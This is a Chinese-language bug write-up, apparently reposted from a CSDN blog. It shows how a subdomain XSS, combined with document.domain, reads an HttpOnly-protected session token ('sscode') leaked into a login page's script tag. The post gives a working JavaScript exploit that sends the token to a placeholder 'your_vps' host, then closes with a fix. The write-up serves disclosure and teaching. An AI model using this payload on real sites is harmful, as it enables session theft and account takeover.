声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 |
|---|
0x01 介绍
跨子域:
因为浏览器同源策略的关系,只有同协议、域名、端口的页面才能进行交互,否则会被浏览器拒绝。现有两个页面,分别为111.example.com和example.com,两个页面是不同的域名,不能进行交互,但是可以在111.example.com使用以下代码设置同域,这样即可实现一个跨子域的交互。
document.domain="example.com"HttpOnly:
简单来说就是给Cookie增加一层保护,document.cookie不会返回设置了HttpOnly的Cookie。
0x02 漏洞细节
首先通过F12查看得知关键的Cookie sscode设置了HttpOnly。

那么这个sscode肯定是登录之后服务器下发给客户端的,那么走一遍登录流程看看有没有缺陷。
输入账号密码点击登录

通过Set-Cookie给客户端下发sscode

跳转到登录成功的页面

注意到在此之后又发送了一个数据包,其中带了sscode(此图是修复后的,sscode经过加密了)

那这个请求是从哪儿发出来的呢?注意到请求头中的Referer。
Referer: http://www.exmaple.com/user/login_success.php?username=&next=%2F来自登录成功页面,没有X-Requested-With头,那么应该就是通过某个html标签的src属性值发出来的请求,前往登录成功的页面进行确认。
搜索sscode定位此script标签,可看到确实是通过src属性值发出来的请求。

那么可以通过同域的Xss漏洞来获取登录页面的响应内容,再提取出其中的sscode。
登录页面是如下链接
http://www.exmaple.com/user/login_success.php一开始看域名为www.example.com,想着找一个www.example.com的Xss就可以了,但是找了一圈没找到。后面用document.domain查看登录成功页面所属于的域为example.com,那就意味着可以通过任意一个子域的Xss来跨子域获取受HttpOnly保护的sscode。
通过搜索语法site:example.com找到一处Xss,编写exp如下。
document.domain = 'example.com'; //设置同域
var iframe = document.createElement("iframe");
iframe.src = "http://www.example.com/user/login_success.php";
iframe.style="width:0%;height:0%;"; //设置不可见 隐蔽性高
document.body.appendChild(iframe);
iframe.onload = function(){
var content = iframe.contentDocument || iframe.contentWindow.document; //获取iframe页面的内容
var scr = content.getElementsByTagName('script'); //拿到所有script标签
var str = scr[3].src; //带sscode的script标签
var re = /%22sscode%22%3A%22(.+)%22%2C%22cookie_expire/; //正则表达式
//alert(str.match(re)[1]);
var sscode = str.match(re)[1]; //拿到sscode
var image = new Image();
image.src = 'http://your_vps/' + '?sscode=' + sscode; //将sscode传输出来
}最后通过Xss加载写好的恶意Js文件,发送链接给受害者,只要其是登录的状态,打开了链接sscode就会被盗取。
0x03 修复方案
这个漏洞根本的原因就在于把sscode给泄露到登录成功的页面中了,最好的修复方案当然就是不要泄露在页面当中,厂商因业务需求,不能不放到页面中,修复方案为对其进行加密。
文章来源:CSDN博客,原文地址:
https://blog.csdn.net/qq_32727277/article/details/102717231